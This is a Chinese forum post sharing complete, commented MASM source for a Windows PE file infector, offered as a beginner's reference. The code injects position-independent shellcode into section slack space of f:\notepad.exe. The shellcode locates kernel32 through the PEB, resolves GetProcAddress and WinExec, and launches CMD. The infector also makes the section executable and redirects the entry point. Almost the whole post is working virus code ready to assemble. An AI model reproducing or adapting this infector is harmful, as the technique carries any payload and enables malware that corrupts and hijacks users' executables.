代码不复杂 仅仅感染f盘下的notepad.exe
感染方式很简单:
遍历节表 找到可以容纳shellcode的节 写入shellcode
sellcode的功能也很简单:
通过fs:[30h]获得peb 通过peb获得kernel32.dll的基址 遍历导出表 找到GetProcAddress的内存地址 然后调用GetProcAddress获得WinExec的内存地址 然后执行CMD 最后跳回原始OEP
主要是我把注释写的比较完善了,给和我一样的新手做个参考吧。
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.const
szFile db 'f:\notepad.exe',0
.data?
hFile dd ?
hMapFile dd ?
lpFile dd ?
lpCodeRva dd ?
lpCodeOffset dd ?
.code
;shellcode start
SHELLCODE_START equ this byte
assume fs:flat
mov eax,fs:[30h]
mov eax,[eax + 0ch]
mov esi,[eax + 1ch]
lodsd
mov edx,[eax + 8h] ;得到kernel32.dll的基地址
mov eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew
mov eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress ;导出表的RVA
add eax,edx ;导出表在内存中的实际地址
assume eax:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[eax].AddressOfNames
add esi,edx
push 00007373h
push 65726464h
push 41636f72h
push 50746547h ;这四句push 构造了 GetProcAddress\0 共15(0fh)个字节
push esp ;把此时栈顶的值压入栈中 等会要用
xor ecx,ecx
.repeat
mov edi,[esi]
add edi,edx ;首次循环时 edi的值就是首个导出函数的名称的地址
push esi ;esi是AddressOfNames 函数名称的地址数组的地址 先保存起来
mov esi,[esp+4] ;[esp+4]获取栈顶数第二个 是一个DWORD 值是指向栈空间里的GetProcAddress
;注意 此时[esi]就是栈中的GetProcAddress [edi]就是导出函数的名称
push ecx ;保存遍历导出表中函数名称的循环次数
mov ecx,0fh ;GetProcAddress\0的长度 设置循环比较[esi]和[edi]的循环次数
repz cmpsb ;对比 [esi] 和 [edi]
.break .if ZERO? ;循环cmp后 zero flag仍然是0 说明找到了 GetProcAddress 则跳出循环
pop ecx ;恢复遍历导出表中函数名称的循环次数
pop esi ;恢复esi为 指向 AddressOfNames 函数名称的地址数组的地址
add esi,4 ;指向下一个DWORD esi就是下一个函数名称的地址
inc ecx
.until ecx >= [eax].NumberOfNames
pop ecx ;ecx此时是GetProcAddress在kernel32.dll中的AddressOfNames数组的位置 和AddressOfNameOrdinas是一一对应的
add esp,18h ;释放栈中的 GetProcAddress\0\0 16个字节 + 地址4个字节 + esi也是4个字节 共24(18h)个字节
mov esi,[eax].AddressOfNameOrdinals
add esi,edx ;esi此时是AddressOfNameOrdinals的地址了
movzx ecx,WORD ptr [esi+ ecx * 2] ;计算序数的地址 并取得该地址中的值 也就是序数啦 保存到ecx中 (乘2是因为序数是WORD类型保存的)
mov esi,[eax].AddressOfFunctions
add esi,edx
mov esi,[esi+ecx*4] ;将GetProcAddress的RVA 存到esi中
add esi,edx ;加上基址 得到GetProcAddress的基址
assume eax:nothing
;注意 esi中现在是GetProcAddress的地址了
;以下代码可以使用 call esi 调用GetProcAddress了
push 00636578h
push 456e6957h ;在栈中构造字符串 WinExec
push esp ;老办法 把刚才构造的WinExec的内存地址再入栈
push edx ;kernel32.dll的基址 也就是HANDLE
call esi ;调用GetProcAddress 获取 WinExec的地址
add esp,8 ;释放栈里面的字符串 WinExec所占空间
;注意 此时eax就是WinExec的地址
push 00444d43h ;在栈中构造字符串 CMD
push esp
push SW_SHOW
push [esp+4] ;加4是因为此时栈顶是刚刚压入的SW_SHOW,加4后才是栈中构造的字符串CMD
call eax ;调用WinExec 执行CMD
add esp,4
;以下代码要跳回原始oep了
db 68h ;机器码68h 是PUSH的意思
OldEntryPoint:
dd ? ;这4个BYTE 将被修改为原来的入口点 与上一句68h 组成PUSH xxxxxxxx
jmp DWORD ptr [esp] ;前面刚把原来的入口点压入栈中 所以 jmp 到 esp栈顶的元素 也就是原来的入口点
; db 0e9h
; OEPOffs:
; dd ? ;或者可以用这种e9跳转的形式
SHELLCODE_END equ this byte
SHELLCODE_LENGTH equ offset SHELLCODE_END - offset SHELLCODE_START
;shellcode ends
start:
invoke CreateFile,addr szFile,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL
.if eax != INVALID_HANDLE_VALUE
mov hFile, eax
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL
.if eax
mov hMapFile, eax
invoke MapViewOfFile,hMapFile,FILE_MAP_READ or FILE_MAP_WRITE,0,0,0
.if eax
xor ebx,ebx
mov bx,(IMAGE_DOS_HEADER ptr [eax]).e_magic
.if bx == IMAGE_DOS_SIGNATURE
mov lpFile, eax
mov esi, eax
mov esi, (IMAGE_DOS_HEADER ptr [eax]).e_lfanew
add esi, eax
assume esi: ptr IMAGE_NT_HEADERS
.if [esi].Signature == IMAGE_NT_SIGNATURE
mov ebx, esi
add ebx, sizeof IMAGE_NT_HEADERS
assume ebx: ptr IMAGE_SECTION_HEADER
xor eax, eax
mov ax, [esi].FileHeader.NumberOfSections
mov ecx, eax
lp:
mov eax, [ebx].SizeOfRawData
sub eax, [ebx].Misc.VirtualSize
.if eax > SHELLCODE_LENGTH
jmp @F
.endif
add ebx, sizeof IMAGE_SECTION_HEADER
loop lp
.endif
.endif
.endif
.endif
.endif
invoke ExitProcess,NULL
@@: ;finded section
mov eax, [ebx].VirtualAddress
add eax, [ebx].Misc.VirtualSize
mov lpCodeRva, eax
mov eax, [ebx].PointerToRawData
add eax, [ebx].Misc.VirtualSize
mov lpCodeOffset, eax
or [ebx].Characteristics, IMAGE_SCN_MEM_READ
or [ebx].Characteristics, IMAGE_SCN_MEM_EXECUTE
add [ebx].Misc.VirtualSize, SHELLCODE_LENGTH
add eax, lpFile
invoke RtlMoveMemory,eax, offset SHELLCODE_START, SHELLCODE_LENGTH
mov edi, [esi].OptionalHeader.AddressOfEntryPoint
add edi, [esi].OptionalHeader.ImageBase ;shellcode 中要jmp到这个地址 这是使用 push xxxxxxxx jmp DWORD ptr [esp] 方法时用的地址
; mov eax, lpCodeRva ;新的入口点
; add eax, offset OEPOffs - offset SHELLCODE_START + 4 ;加上OEPOffs标号位置+4 就是跳转的基地址了 +4是因为跳转的基地址是下一条指令的地址
; sub edi, eax ;shellcode 中要jmp到这个偏移 旧的OEP是目标地址 减去跳转的基地址 就是偏移了
mov eax, lpFile
add eax, lpCodeOffset
add eax, offset OldEntryPoint - offset SHELLCODE_START ;jmp DWORD ptr [esp] 时使用的方法
; add eax, offset OEPOffs - offset SHELLCODE_START ;直接jmp偏移使用的方法
mov [eax], edi
push lpCodeRva
pop [esi].OptionalHeader.AddressOfEntryPoint
invoke ExitProcess,NULL
end start
[课程]Android-CTF解题方法汇总!